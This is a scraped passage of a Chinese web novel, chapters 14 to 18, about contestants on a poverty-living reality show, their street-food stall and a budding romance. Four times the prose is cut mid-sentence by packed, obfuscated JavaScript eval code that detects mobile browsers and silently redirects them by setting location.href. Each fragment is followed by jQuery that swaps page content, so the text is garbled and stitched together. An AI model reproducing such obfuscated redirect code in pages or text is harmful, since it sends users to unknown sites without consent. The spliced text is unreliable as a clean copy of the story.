RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392195|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里乐得很，玩心大发，脚追着柏淞的影子踩。 他脚步轻快，踩着晃动的影子人也跳来跳去，柏淞听着后面的动静，忍不住回头看了眼，楚余苔这时候倒很像个小孩，自己玩得脸透着兴奋的红。 如果不是因为他做的那件事……他也不是不能答应楚余苔的表白，他这时候浑然忘了自己之前还扯谎自己是个直男。 几百米的路程也就走了几分钟，两个人照例道别，楚余苔从包里掏出个面包“谢谢柏哥今天过来接我下班，给你带的早饭。” “顺路。”柏淞这么说着，却还是接过了面包。 楚余苔进门后，将昨天没吃的便当拿了出来，再加上中午的芹菜炒肉，算是极为丰盛的一餐。他手上拿着手机先打开微信，正好看见系统给他推荐了好友[柏]，楚余苔点了个申请，没翻到通讯录里其他人的账号，不过想到其他几人也是用的老年机，也就别多想。 等待申请通过的这段时间里，他打开了浏览器，开始搜索“电子果蝇”，这东西跟着他一个多星期了，楚余苔还是没想清楚这是什么东西。 他从上一路往下翻，“电子果蝇，又名自主仿生物适配型纳米检测系统。”文章写得极为深奥，他看着眼睛疼，划了出去发现下面好几个视频，点开一看都类似于监控、vlog，楚余苔思索片刻…… “嗯，这是一个，随身的电子监控。”楚余苔下了定论，他一下子豁然开朗了，这是为了保证人身安全才创造的户外监控啊。 屏幕上弹出微信消息 [柏]：。 [moss]：柏哥，我是楚余苔。 [moss]：柏哥晚安 柏淞接着经纪人的电话，边挨骂边回了个表情过去。 “柏淞，柏影帝，柏哥！你之前怎么答应我的？不是说不会和楚余苔勾搭上？你知道现在外面连你俩cp超话都建起来了！你能不能稍微注意着点？被这种人粘上很难甩掉的，别仗着自己的地位家世高就不放在心上！” 柏淞皱眉“这种人是哪种人？他也没做什么事情，一起参加节目总归会有同个镜头的。” 章有信笑出声“你说的同镜头是指你昨天晚上牵着他的手带他回的出租屋？”他扶了下额头，脸上赘肉气得直发抖。 “你平时不听我的，行，你有底气，但是这次真不行，星火娱乐什么手段你又不是不知道，他们公司上下都是下作东西，潜规则、买黑稿、麦麸，只要能火就不择手段。你要是真年龄到了想谈了，你去谈个其他的，总好过和楚余苔谈。” “我没要和他谈，昨天那是他睡蒙了，我总不能把他丢公交车上不管他吧？”柏淞皱眉，啧声道。 章有信问:“你真信?” 他语气缓和平静下来，字句里带着不可察觉的嘲讽。 柏淞沉默，他手指急促地敲着卫生间的洗手池，片刻后他停手，道“你别管，我心里有数。” 15. 第 15 章 次日清晨，楚余苔是被门口的交谈声吵醒的。尽管门口的人已经尽力压低声音，奈何楚余苔睡觉睡得浅，外头的人时不时的情绪激动稍提高音量。这房子隔音差，五楼的高度有时候甚至能听到最底层居民的交谈声，此时隔着一层薄薄的门板自然也于事无补了。 楚余苔睡不着了，离起床时间也没多久，索性起来梳洗，早上热了下昨晚的剩饭糊弄一口。他坐在餐桌前嚼着带着股冰箱味的饭，门口的声音也顺势飘了进来。 这个点在外头讲话的，也只能是柏淞了，除了柏淞外还有一男一女，方才情绪激动的就是那陌生男性。先前的对话楚余苔没听清，只听到这男人接了个电话匆匆就走了，而后就传来女生轻轻柔柔的声音。 “我给你带了点吃的，你等会儿避着点拿进去，还有这些……”外头声音停了片刻，许是在翻东西，“这些你也用得上。” “最近我不能盯着你，你得记得吃早饭啊，你胃部断断续续的一直好不了，就是你自己作出来的。这两个月我也管不到你，你自己自觉。” 女生断断续续嘱咐了好一会儿，应当是和柏哥极为熟悉，语气上带着些许埋怨。楚余苔总觉得自己这样偷听不太礼貌，却又不知道躲哪儿去——总不能去厕所吃饭吧，只能拿起手机努力屏蔽掉外面的声音。 “哎还有，我给你搭了几身衣服，刚刚给你挂衣柜里了。你前两天穿的也太敷衍了。一共七套，你一天换一套，下周我看看能不能再过来给你换新的。” “我这都送外卖了，你还在意我穿的好不好看啊？我天天外头套工作服，穿什么都一样。”柏淞声音里带着些笑意。 “这哪能一样，你穿得好看一点我也有面子点，你看你这纽扣……”外头沉寂片刻，传来衣料摩擦声，有人拍了两下衣料，女生开口道“你看，这样子是不是好看多了。” “成成成，我都知道了，你也要赶去上班吧？章哥电话估计也快打完了，让他送你回去吧。”柏淞投降，二人道别，门外声音也就沉寂下来。 门内，楚余苔戳着碗里的饭，筷尖上戳几粒米磨磨蹭蹭地送到嘴里，夹了好几下都没攒够一口的量。他脑子里思绪飘得远，柏淞边界感重，外头的女性又叮嘱又整理衣柜的，显然关系匪浅。再联系到柏淞之前说的“只喜欢女人”…… 楚余苔又戳了两下米粒，才吃了几口的饭这时候全然没了胃口，嘴里嚼半天也没尝出饭味。 喜欢直男就算了，喜欢的还是有女朋友的直男，楚余苔你真是真是罪大恶极。 送走柏溪，柏淞整了整衣领。柏溪喜欢衣服板板正正的，衬衫领子是要扣到最上面一颗的，柏淞却觉得这样子不松快，不上镜的时候总爱留一两颗不扣，但是既然是自家姐姐亲自整理的，他也只能乖乖听话了。 …… “失恋”的情绪来得快去得也快，楚余苔失落了一上午，总归还是下定了决心，得和柏哥保持距离。他不敢保证自己的心会不会出格，但见不着面不就成了。 他深叹了口气，总算想起了自己的正事——赚钱。 昨天拿到手机之后他查了一下卖小吃的注意事项，一般来说是不会被查的，但是如果被查到没有证件罚也罚得很多。 他还是没有放弃摆摊卖淀粉肠这件事，目前大伙儿是六个人一起摆摊的，卖气球两个人足以，而且随着时间的推移，买的人也越来越少。而手链那边显然也不需要四个人，完全可以再多加个摊位出来。 楚余苔这几天已经摸清了其他几人的时间点，纪渝中午起床，十二点半左右来买早午饭。穆浅浅和许云岚大部分时候都在一起，有时候来有时候不来，多数时候能和纪渝碰一起，他想躲着柏淞，也不想搭理何迟，只能这样子等其他三个人撞一起了，正好可以谈一谈小吃摊的事情。 楚余苔时不时看一眼外头，很幸运的，今天这仨人是一起来的。 “小苔哥哥，咖喱饭加饭团！”纪渝快走了两步过来。 “记着呢，给你提前热了放着保温了”楚余苔拿出饭，“吃吧，温度正好的。” 他趁着几人都在，提了下自己的想法“我看了下，如果要卖吃的，需要健康证和食品的售卖许可证，健康证两天就能办下来，售卖许可我们可以直接问卖食材的店家要，这样子只要周末前能买到机器和材料，我们这周末就能继续摆摊。” 楚余苔手上拿着纸笔，将材料、机器、□□几样需要的价钱划得清清楚楚，如果还是六个人去分这笔投入，一个人只需要给五十。 这投入不算高，另几人见识过楚余苔上周摆摊的模样，这时头点得飞快。 “那这煎肠的工作……”楚余苔目光滑向许云岚。 “成！我努力一下，争取不糊！”许云岚拍案。 剩下来的事安排起来便简单多了，健康证穆浅浅、许云岚和纪渝三个人一起办，这样子如果需要换班三个人也能轮流休息一会。至于机器和食材，由于楚余苔下班时间太晚，也是由许云岚和穆浅浅去置办。 几个人这样说定了，楚余苔道“那纪渝你去和你柏哥说一下，然后何迟那边……” “我和他说吧。”许云岚接了话头。她看得出楚余苔和何迟两个人之间不太对付，这活也就自然而然的接下了。 “那小苔哥哥，你游乐场那边还卖气球吗？那边的摊位好像有其他人看了，如果你不要就收回了。”纪渝这才想起这要紧事，急忙提醒道。 楚余苔原先还犹豫要不要换地方，现下直接不用犹豫了，柏淞每天都接纪渝上下班，如果去游乐场自然避免不了和柏淞独处，他打定了心思要远离柏淞，于是道“不用了，我晚上去其他地方看看吧。” …… 说是说其他地方，实际楚余苔只也认识上次宠物集会的公园，他还记得路，下了班直接去了那儿。 公园比游乐场偏僻一点，楚余苔到的时候已经快八点半了，这时候里头没有游乐场多，在里面散步的也多半是中老年，小孩不多。他卖了一个多小时，快十点的时候人已经走完了，手上才收入75，这里头还得搭上来回六块钱的共享单车钱。 楚余苔回去的路上万分后悔，千不该万不该，当时脑子机灵一点，直接说自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392196|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己送纪渝回家，不用柏淞接送，不就能继续在游乐场摆摊了。 不过这时想这些也为时已晚，他收了心，这条路上路灯坏了好几个，这一段路都没光，借着前头微弱的路灯光线才能看清路在哪里，他骑得不快，运气却不大好，轮胎似是卡到了个坑，手下把手忽地一摇晃，人一扑棱，整个人就从共享单车上飞了出去。 摔倒刚起来的时候不疼，整个人木木的，发麻。楚余苔趁着这劲上去又骑了会儿，才感觉到手上抖得厉害，他知道这时候不能停，等会儿停下来了再骑起来更是折磨，只能硬着头皮赶路。 楚余苔下车时险些没站稳，踉跄了下，先掏出手机看了眼时间，没超时，他顿时舒了口气，“又省两块钱，明天早上能吃个茶叶蛋。” 楚余苔缓着步子爬到了五楼，借着楼道灯光上下看了下，手掌心擦破了点皮，右裤腿的膝盖处裤子擦破了个洞，他这时候才有些心疼了，这破洞的位置太明显，到时候补了也不好穿出门了。膝盖处伤势程度还得回去了再看。 钥匙在口袋里，手上有伤口他不太敢拿，动作缓慢地掏了半天，楼下隐约传来脚步声，楼道的声控灯也逐步亮起。 楚余苔心道不好，这时间回来的应该是柏哥，他浑身上下像从地上滚过两圈似的，哪敢见人，这时候也不管手上疼不疼了，心一横手拽着钥匙掏出口袋。 “楚余苔？”柏淞看着站在门口的人，“怎么不进去。” “嗯，正要开门呢。”手上动作太大，他这时疼得声音忍不住发抖。 柏淞这才发觉不对劲，上下打量了下“你……你这是摔了？” 楚余苔低着头，手上终于开了门，他不敢开屋内的灯，一瘸一拐进去就要关门“嗯，哥我没事，我先进去了。” “等会儿，给我看一眼。”柏淞拉了下楚余苔袖子，只听得一声呜咽，吓得他又松手了，伸手开了屋门口的灯，只见面前立着个灰头土脸的，裤子是破了洞的，手上擦破了皮直发抖，脸颊上也蹭了几小块血丝，这时候低着头的模样似流浪狗一般，小心翼翼地夹着尾巴，可怜见的。 “怎么摔这么严重……我家有碘伏，我拿过来给你消毒。”柏淞想轻推一把让人先进去，别站门口了，又不是罚站，又怕他身上也有伤，顿了顿道：“你先进去，我马上来。” “不用柏哥，我、我等会儿冲一下就行，伤口都不深，没事的。”楚余苔不敢抬头，他怕柏淞可怜他，也怕自己看见柏淞会忍不住委屈。 他俩关系也不过暗恋者和被暗恋者，或许在柏淞那边连朋友也算不上，楚余苔不能在柏淞面前委屈，这些莫名其妙的情绪得憋好了，不然对方会很困扰。 “冲一下？你冲了家里有消毒药水吗？你现在说得轻松，要是化脓感染发烧了怎么办？”柏淞声音控制不住地大了起来，他忍着火气压低了声音，勉强温柔道：“你先去洗个澡吧，洗完澡我给你消毒，记得把伤口处用清水冲干净些。” 楚余苔还要拒绝，柏淞看了眼时间“给你半小时够吗，门别关，我拿好碘伏就来，半小时之后我会敲你的浴室门。” 16. 第 16 章 楚余苔搞不懂，事情怎么从一开始变成了现在这样子，原本只是想拒绝柏淞给他消毒，怎么变成了半小时一定得洗完澡了。 他心不在焉地冲洗着身体，热水淌过伤口，涨涨地疼。 他脑子里还回忆着方才柏淞的话。柏淞没问行不行，只说半小时能不能好，楚余苔一时也就被他带跑偏了。柏淞走时或许是怕楚余苔拖延时间，有说如果半小时还没好他就直接进浴室，别想着拖延时间。 楚余苔哪敢拖延，他觉得柏淞真能做出这种事来。 因为两手上都有擦伤，他便没敢用沐浴露，只简单冲了一下，头发也是将头伸到喷头下随意抓了几下。等到皮肤被热水冲得发红，楚余苔才又想起这伤口好像是要用冷水的，那样子才能消肿的，他犹豫片刻，调了冷水将手放过去随意冲了几下。 冲完伤口，楚余苔抄起浴巾胡乱擦了两下，手上伤口还流着血丝，浴巾上染上一片红。膝盖处除了擦伤外，应该是摔倒时受力撑了下，两个膝盖都青青紫紫，特别是右膝盖肿得馒头般，弯曲都有些吃力。 楚余苔谨慎动了动腿，弯曲间骨头动作顺滑，应当只是皮外伤。 艰难地换好睡衣，楚余苔推门出去，柏淞正坐在浴室门口。 “进去吧，我给你涂药。”柏淞拉着椅子往浴室里走。 “啊？进去，在浴室里吗？”楚余苔心头一跳，这也太太太太不合适了吧！！ “怎么了，不在浴室里在外面你还想给谁看？”柏淞道。 给谁看？这屋里孤男寡男的，还能给谁看？ 浴室里，才洗完澡还残余着温润的水汽，融融地浮在空气中。柏淞将暖气和灯暖都打开了，此时里面呼呼地吹着热风，楚余苔原本被热水烫红的脸颊此时更是两坨高原红印在脸上，显得几分好笑。 “柏哥，不然你把药给我，我自己涂。”楚余苔四下看了下自己的伤处，他伤的地方都明显，自己一个人也方便涂药。 “你别折腾了，先坐好。”柏淞将人按在自己带进来的那张椅子上，自己拿了两张纸巾擦了擦浴缸边，随意坐在了浴缸边上，“手抬抬好。” “噢……”楚余苔乖乖的将手抬起，看着柏淞将沾有碘伏的棉球要按在手上，他手一缩——没缩成功，被拽住了。 “没开始呢。”柏淞另一只手抓着楚余苔手腕，轻笑声“别怕，我动作快些，速战速决。” 楚余苔嗯了声，碘伏按在伤处扎得很，他强忍着条件反射，抬着手。 柏淞消毒消得很认真，简直指尖上犄角旮旯的小擦伤都要抹一下药。楚余苔最受不了这个，柏淞这副小心翼翼生怕弄疼他的模样，仿佛极为珍视的模样。 “其实真没这么严重，我之前高中的时候，有时候兼职回去，犯困也摔过几次，都摔习惯了……”他声音小了下去，讲完才发觉这话带着股卖惨的意味。 “我不是想让你可怜我、我只是觉得不用这么仔细。”他声音愈发微弱，“你随便消毒一下就行，你这么认真我……” 柏淞动作一顿，浴室里没有摄像头，楚余苔为什么还要维持他的人设？他微微皱眉，抬头时面上却看不出一丝异样。 “嗯，我知道。”他道，“不会觉得你可怜。你只是在努力工作，很厉害。” 楚余苔沉默许久才轻“嗯”了声，两个人一时之间又陷入无言的状态，只剩下清理伤口时细微的声音。 “膝盖也受伤了吧，我看看。”柏淞去挽楚余苔睡裤的裤脚。 楚余苔猛地一缩“我我我，这我自己来。” “你两只手都没空，怎么自己来？”柏淞看了眼他的手掌心，此时楚余苔两只手掌心都涂满了碘伏，棕黄色一片。 楚余苔抿嘴，妥协。 两边的裤腿都挽到了大腿上，膝盖处的伤实在触目惊心，柏淞轻嘶了声“都摔成这样了，还没事呢，怎么老是硬撑。”他将新的碘伏棉球按了上去，楚余苔也抽了口气，腿轻颤起来。 浴室光线暗，他这一抖，柏淞怕手上一不小心给他再戳疼了，干脆两腿并拢把楚余苔的两条腿夹在自己腿间。 “嘶……柏哥！”楚余苔惊叫声，腿想抽离，却被夹的更紧。 “别乱动。”柏淞沉声道，“等会儿弄疼了怎么办。” 楚余苔抖了抖脑子里的胡思乱想，放空自己，尽量不去思考两个人目前的姿势有多暧昧。 “你初中的时候经常去兼职？”柏淞状似不经意地问道。 “嗯？对啊，那个时候没有钱嘛，又想上学，就晚上放学了去到处打杂工，便利店、奶茶店、快餐店，还有摆摊……”他说到这里轻笑了声，“你上次说我才知道，原来摆摊卖吃的要□□件，幸好我每次都跑得很快，一次都没被抓到过，不然我可赔不起这钱。” 他眼睛微微弯起，仿佛回忆起了很有意思的事情般。 柏淞没想到会得到这么具体的回答，他原先以为这又是什么吸引人的小把戏，这时候却独独只觉心间微微泛着涩意。 “你自己一个人吗？父母呢？” 楚余苔脸上笑容一僵，面色微不可查的透出层冷漠来，“都死了，我不是很想谈这个。” “抱歉……”柏淞也未想到是这情况，闭嘴重新涂起了药。 柏淞的僵硬显而易见，楚余苔不想让他有负担，又笑道“其实也没什么，小鱼现在不也在自己赚学费吗，我和他也差不太多，你看他现在过得也挺好的，只要攒够钱就能继续上学了。” 理论上来说，纪渝确实在赚自己的学费，但纪渝做爱豆只是因为喜欢，他哪怕考不上高中，家里也会出钱让他出国深造，二者间天差地别。 柏淞没有将这话说出口，涂完膝盖，他上下扫了扫“身上还有吗。” “没了柏哥，就手上和膝盖。”楚余苔这时候十分庆幸身上没受伤。 柏淞闻言，站起来洗了下手，擦手时才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392197|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现楚余苔头发没擦干，水珠顺着发丝滴落，肩膀处已经氤湿了一大片。他自然地拿起吹风机，“来吧，给你吹个头发我就走了。” 柏淞28年以来从未这般伺候过谁，吹风机吹出微烫的风，柏淞手轻轻梳理着楚余苔的黑发，等到手上觉得有些烫了，就将吹风机离得远些。甚至时不时的去碰一碰楚余苔的耳朵和后脖子，这地方肉应该是比手嫩的，烫坏了可怎么办呢。 短发吹起来轻松，不过几分钟已经半干，柔软的发丝轻柔的穿绕在柏淞指缝间，叫柏淞忍不住似摸小狗般摸了摸楚余苔的头。 “唔。”原先昏昏欲睡的楚余苔一激灵睁眼，他打了个哈切，感受着头上温热的风，以及柏淞宽厚的手掌，心中不断提醒自己对方是直男，还有女朋友。 “柏哥，做你女朋友一定很幸福。”楚余苔忍不住开口道。 柏淞关掉吹风机，梳理了一下头发，又轻轻抓了两把，散散发间的热量，看着楚余苔头顶冒出丝丝缕缕的热气，他轻笑声“怎么，你想做我女朋友？不行吧。”男朋友倒是可以考虑一下。 “嗯，我懂的柏哥。”楚余苔倒是不意外这回答。 柏淞不懂，怎么现在不表白了，虽然楚余苔表白他也不会同意，但是怎么今天没了？ 他压下心里那分乱七八糟的期待，轻咳了声“碘伏和棉球我留给你，你伤口注意之后就别碰水了，明天早上记得消毒、你自己行吗？我可以……” “不用了柏哥，我自己能行，”楚余苔站起身，他朝柏淞弯了下嘴角“今天又麻烦你啦，碘伏和棉球我明天买了新的还你，算是我从你那边买的。” 柏淞面色一僵，“也不用，这不值几个钱。” 楚余苔没回这句，他拉开浴室的门，蒸腾的热气涌出，冷空气猛地袭来，柏淞只觉心口一凉…… 嘶，分得这么清楚，不是前两天还……还…… 柏淞将心底里那几小块的失落扯吧扯吧藏了起来，他站起身，“我走了，你睡觉小心点，别碰到伤口……你不用送我，我等会给你关门，膝盖都肿成这样了少走点路吧。” 只是想走回床上的楚余苔：“……好噢。” …… [他们那个了五十七分钟] [上药！那个叫上药！讲话别不清不楚！] [柏淞！！！我不允许！！！离苔渍远！一！点！] [嘿嘿，好吃，吃一口] [怜爱了，上节目以来就一直是受伤啊楚，感觉他也不像网上传的那么可恶，有时候还挺萌的。] [谁知道他是不是故意摔的，电子果蝇那个时候都没拍清，这不正好给了某人演戏就机会~] [疯了吧谁会为了流量这样子摔啊，能保证自己的安全吗？黑别人也要有个限度吧，他又不是不要命了，活完今天明天就不活了？] [弹幕叽里呱啦在说什么，听不懂，现在可以上饭了吗，好饿，好想吃饭。。] 17. 第 17 章 周五，三人的健康证办了下来，材料用具也成功买全了。穆浅浅和许云岚下班后就拿着一大堆材料进了便利店，东西有些多，她俩不好搬，很难得的何迟也过来帮了忙，手上帮忙拿着机器。 “小苔哥哥，你说的酱料和调料我们也买全了，你看看还缺什么不。”穆浅浅手上拿着都是调味料，楚余苔看了看没缺的，干脆道“先做两串试试吧，尝尝味道。” 他拆开调料，拿了两个一次性杯子过来，手上擦伤这两天刚结好痂，这时候动作略显笨拙。 “小苔哥，怎么做你和我吧，我来做。”许云岚接过楚余苔手上的东西。 这活简单，十来分钟后两串热腾腾的淀粉肠顺利出锅，四个人围在一起，将两串肠分成了八份，各自尝了下酱料。 料汁这次调了甜辣的和香辣的，煎的肠外壳酥脆里头香软，原先有几分嫌弃的何迟在尝了之后，犹豫着也说了句“还行。” 淀粉肠摊子的事目前是许云岚全权负责的，楚余苔询问道“摆摊地方你们找了吗?” "定的公园门口，那边周末人流量多，晚上还有夜市，到时候周末一起摆摊也很方便。"回话的是何迟。 楚余苔有些意外地看了他一眼，没想到这人也有干活的时候。 “何迟哥这次可靠谱了，我和云岚姐问的地方都要摊位证，公园门口也没找到合适的位置，没想到何迟哥去了一趟就找到个空位。”穆浅浅道，许云岚也微微点头，几个人都没想过何迟能干点实事。 何迟笑容一僵，眉眼微锁，又很快掩饰住了自己的不悦。穆浅浅这话说得无心，何迟心思敏感，这不就是在暗示自己之前不靠谱？ 当着镜头，何迟不好发火，面上还得演出和煦温柔的模样来，楚余苔只扫了他一眼，便看出了何迟心里不痛快，不好叫他俩再讲下去，楚余苔截了话头道“既然东西都弄好了，不如等过一会我下班了，我们一起去公园摆摊试一下？” “等你下班？你八点下班我们过去人都走光了，那还能赚到什么钱，难道做什么事都得跟着你一起吗？”何迟反驳道。 楚余苔一愣，“对，等我下班是太晚了，我没想清楚。”，他习惯了自己一个人，也习惯万事自己做，这时候才发觉许云岚他们也是成年人，完全有能力自己去做事。 “小苔哥，你不用操心我们，我们自己去试试看摆一个晚上。”许云岚也道。 楚余苔点了点头“那你们路上小心，我下班了来找你们。” 虽说这几人都和自己一样穷穷的样子，楚余苔却总觉得他们不像是过惯穷日子的，花钱总是大手大脚，干活做事也颇为生疏，哪怕这三人里面有两个是成年人，楚余苔心里却还是有些担心。 下班后楚余苔便要往公园去，坐公交车得一个小时，手上伤口又不方便骑车，他纠结了一下，打了个车过去。 八点多的公园正是热闹的时候，更别说是星期五，门口夜市人挤着人。楚余苔从夜市头找到尾，一连走了两趟都没找到人，他心觉不妙，掏出手机拨通了电话，目光又左右搜寻了一下，目光凝聚在某个空餐车边上，正放着许云岚他们带过来的箱子。 手机电话没打通，楚余苔又重播了过去，人走过去询问边上的人道：“老板，这箱子的主人去哪儿你知道吗？” 那老板撇了眼，“噢哟这箱子啊，他们一伙人和那餐车老板吵架呢，几个人全都被带到保安室去了。” “吵起来？这怎么会吵起来。”楚余苔心急道。 “那我就不知道咯，你们一起的？这东西放这里还占我地方呢……” 楚余苔这边还听着老板絮絮叨叨的埋怨声，他禁不住要打断询问保安室在哪里，耳边的电话正巧接通，传来穆浅浅略带哭腔的声音“小苔哥哥……” …… 保安室，穆浅浅挂断电话，两个身着保安服饰的工作人员愁眉苦脸的劝着一男一女，正是另一辆餐车的主人。 “那地方本来就是我们一直在那里的，我们也就昨天一个晚上没在，那今天我们也是早早来的啊，一过去，那他们就占了我们的位置了！”中年男子一边一手手背拍着另一手手心，来回踱步，语气急促道。 “这个我们也知道了，你看人家小姑娘也好好道歉了，这事不如就这样子算了。”其中一位保安道。 “噢哟这就算了？那我们损失怎么算哦？我说了他们要赔钱的呀，我今天晚上摊没出，但是我东西准备了的呀，他们这么一搞我今天晚上相当于就是赔钱的啊。” “那你们问人家要一千，这肯定……”保安也为难，本来这事不算大，其中一方也道歉了，没想到这夫妻俩还不依不饶要求赔钱。 “一千这不是讹钱是什么，况且那地方我昨天看的时候是空的，今天也是我们先来的，先到先得不行？凭什么就算他们的？”何迟忍了又忍，嘴里还是忍不住回嘴道。 这活是他做的，现在却因为这事和一对土里土气的夫妻在保安室吵架，何迟这辈子没做过这么蠢的事，他恨不得从银行卡里掏两万块出来甩这男的脸上让这男的闭嘴，可是现在他连两千都拿不出来。 “哎哎哎，你怎么说话的，这位置我们家开了好几年了，那就是我们的地，你们要摆摊就自己找地方，凭什么占我们的地。”男人越讲越激动，手指指点点，人也越靠越近，何迟见状后退了两步，躲到了保安背后。 “你们三个，年纪轻轻欺负我们年纪大了！”他见何迟躲到了保安背后，也不敢和保安杠，往前两步就对着许云岚和穆浅浅两个骂，“我看你们两个小姑娘长得漂漂亮亮的，心黑得很哟，就挑我们年纪大好欺负的占地盘！” “没、叔叔我们不是……”许云岚挥着手解释，穆浅浅已经被吓得说不出话了，许云岚只好将妹妹护在身后。 那男的越骂火气越大，见两个小姑娘好欺负，抓着许云岚的手将人往外拽“你跟我来，来！我们去外面评评理，看看是谁不占理！” 许云岚也没见过这场面，她前二十多年都是在国外生活的，也是过的养尊处优的日子，要不是为了护着妹妹，她也要怕得躲起来了，这时候被拽着走她整个人都吓蒙了，一路被拖拽着到了保安室门口。 “放开！”楚余苔一来就见到这混乱场面，他直接把那男人的手一把挥下，许云岚手腕处被扯得发红，他把许云岚推到穆浅浅身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392198|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “叔，有话可以好好说，别动手动脚的。” “噢又来一个，什么意思，你们人多我们就怕了？今天这事就算吵到警察局去，也是你们不对！”男子气得拍门框，他面红耳赤，说话急促，嘴巴向外喷着四溅的唾沫星子。 “叔，我弟弟妹妹们没经验，不知道规矩，这位置肯定还是你们的，损失我们也赔，肯定会负责的。”楚余苔来之前从电话里听完了情况，这时也只能道歉。 “小苔哥哥……”边上的穆浅浅一听这话，忍不住叫道，她眼眶泛红，强忍着没哭出来。 楚余苔摸了摸她的脑袋，低声道：“没事，看哥的，等会儿就能回去了。” 一听楚余苔他们愿意赔钱，夫妻二人对视一眼，男的脾气也下来了，从兜里掏了支烟点上，抽了口烟才继续开口”“早这么说不就完了，一千，一分不能少，给了我们就不计较了。” “叔，我说负责也不代表要做冤大头，你们家卖的是手抓饼，我来的时候看了你们餐车里的材料，都是冷冻的货，放几天都没事。”楚余苔冷淡道。 对方吸烟的手一顿，眉毛一横又要叫喊，楚余苔手一抬“您先别生气，话虽这么说，但是今天确实耽搁你们做生意了，这样子，我们这边赔你们一百……” “一百？你打发乞丐呢？我一晚上时间，要不是你们我卖七八百轻轻松松！”男的烟一掐，烟头直接甩了过来。 楚余苔侧身躲过，烟头擦着他的衣角掉落在地。 “叔，这事真论起来，我们是耽搁了您时间，但是我们道歉之后扯着不让走的反而是你们，要不是你不依不饶，也不至于闹到现在一晚上没生意。”楚余苔抽了张一百出来，“你要是非要一千，我们去警察局谈。” “你、你这小年轻……”那男的还要说什么，他老婆先接过了去，瞪了她老公一眼，悄摸声道：“行了行了，就当出门白捡一百，反正食材明天还能用。” 楚余苔听得一清二楚，其余人也隐约听到些，那男的哼一声收了钱“这次就不和你们计较了，下次摆摊找位置先打听打听清楚。” 何迟面上一阵青一阵白，这事归根结底是他的错，地址是他挑的，他也没想到这位置居然还是固定的，上次来看了一圈见这边没人，他就这么和许云岚说了，结果今天闹出来这种事情，还得楚余苔来解决。 餐车夫妻俩拿着自己东西走了，穆浅浅哭得妆花了，许云岚带着她去卫生间收拾。楚余苔先谢过两个保安帮着说话，不然这三个人也坚持不到自己过来。 他看了眼边上的何迟，想了想还是开口“浅浅和云岚都是女生，你……” “怎么了？她们是女的我就得站前面挨打了？”何迟恼羞成怒道。 “我不是这个意思，不管怎么样你也应该帮一下云岚。” “你倒是很伟大，刚才充作救世主形象很开心吧，还有谁让你喊我弟弟了？我乐意当你弟弟吗？”何迟又气道，他这时候已然忘记还在摄像头下了。 “你……”楚余苔沉默。 “我怎么了？”何迟冷哼。 “你有时间去医院看看吧。” 神经。 18. 第 18 章 许云岚带着收拾好的穆浅浅回来的时候，只觉气氛极其诡异，她跨入保安室的步子一顿，扯了扯穆浅浅的衣服没进去，两个人等着里头两个人出来，一同打车回家。 许云岚和穆浅浅先上的车，坐在后座，何迟出来后径直上的副驾驶，楚余苔边也去的后座和两个女生一起。 许云岚和他对视，挤眉弄眼两下，楚余苔没看懂，轻皱了下眉，歪了下脑袋。 许云岚偷偷指指前面的何迟，也歪了下脑袋，楚余苔这下看懂了，这是在问何迟怎么了。 他略有些尴尬的挠了挠鼻尖，总不能说自己刚才有点火大，骂他脑子有病吧，楚余苔手机上啪啪打了两行字，推到了许云岚面前。 穆浅浅也凑过去看，两个脑袋凑在一起。楚余苔手机屏幕亮度调得低，黑暗中只透着幽幽的光，她俩仔细看了好几眼才看见楚余苔写的“今天亏本，他很自责。” 穆浅浅和许云岚对视一眼，幸好女生间是懂眼神的，两个人眼神交汇飞舞了一会儿，两个人都得出了同一个结论——扯淡。 何迟在副驾驶，不在乎他们后面窸窸窣窣的小动静，脑子里只环绕着楚余苔刚才那句“去医院看看。” 他被骂那一下子没反应过来，这骂得也太直白了，以至于何迟一下子先去看了眼电子果蝇是开机状态，硬生生把气全憋了回去，面色一副受伤的模样。他人设一直是儒雅温柔贵公子，骂回去影响人设。 出租车内寂静无声，后座两个女生眼神翻飞，楚余苔也闭着眼睛假寐，幸好何迟是最早下车的，他一下车另外三个人都放松了下来。 